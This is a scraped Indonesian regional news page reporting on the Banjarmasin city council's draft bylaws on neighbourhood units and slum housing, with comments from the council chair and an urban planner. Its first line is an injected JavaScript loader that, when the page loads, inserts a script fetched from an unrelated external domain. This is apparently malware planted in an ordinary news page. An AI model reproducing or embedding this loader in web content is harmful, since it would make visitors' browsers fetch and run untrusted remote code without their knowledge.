(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Hj Ananda : Hanya 30 % Kawasan Kumuh Banjarmasin Tertangani


BANJARMASIN, Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarmasin gelar rapat paripurna membahas perubahan 2 buah Rancangan Peraturan Daerah. Raperda Nomor 23 Tahun 2010 tentang pedoman penyelenggaraan lembaga kemasyarakatan Rukun Tetangga (RT) dan Rukun Warga (RW) serta Raperda Rencana Pencegahan dan Peningkatan Kualitas Perumahan Kumuh dan Pemukiman Kumuh (RP2K-PKPK) Kota Banjarmasin.

Ketua DPRD Banjarmasin Hj Ananda mengatakan, penyampaian Raperda yang terkait RT dan RW ini hanya mengubah beberapa pasal saja di sana. Sedangkan untuk Raperda terkait perumahan dan pemukiman kumuh akan disesuaikan dengan kondisi Kota Banjarmasin saat ini.

“Kita melihat realita serta data perumahan, ada kurang lebih 500 hektare kawasan kumuh yang berada di kota Banjarmasin, dan 30 persen saja yang tertangani. Makanya perlu aturan untuk menanggulangi permasalan tersebut,” katanya

Ia mengatakan, dewan akan berupaya melakukan dan menyelesaikan Raperda tersebut dengan segera. Mengingat permasalahan kawasan kumuh tidak hanya terjadi di Banjarmasin saja, tapi juga terjadi di kota-kota besar lainnya.

“Kami menginginkan dengan selesainya Raperda ini, membantu pemerintah mengurangi atau meminimalisir kawasan kumuh di Banjarmasin. Kalau bisa, harapan kami, tidak ada lagi kawasan kumuh di Kota Seribu Sungai,” ucap politisi cantik asal golkar tersebut.

Pengamat tata ruang kota Anhar Ayubi SE mengatakan, pemerintah kota Banjarmasin harus mendata ulang kembali kawasan kumuh di kota Banjarmasin, Pemkot Banjarmasin masih sering lengah data itu.

“Kota Banjarmasin hampir seperti sebuah Kota Metropolitan, perlunya tenaga ekstra untuk masalah permukiman kumuh,” ucapnya.

Pemkot harusnya tidak hanya melakukan sosialisasi saja, namun harus seimbang dengan fasilitas serta dampak pemerataan perumahan kumuh di kota Banjarmasin, karena apabila terjadi perataan perumahan kumuh, akan menjadi permasalahan baru lagi untuk penampungan warga nanti. (ammar)

Reporter:Ammar
Editor: Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

7 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

8 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

10 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

11 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

11 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

12 jam ago

This website uses cookies.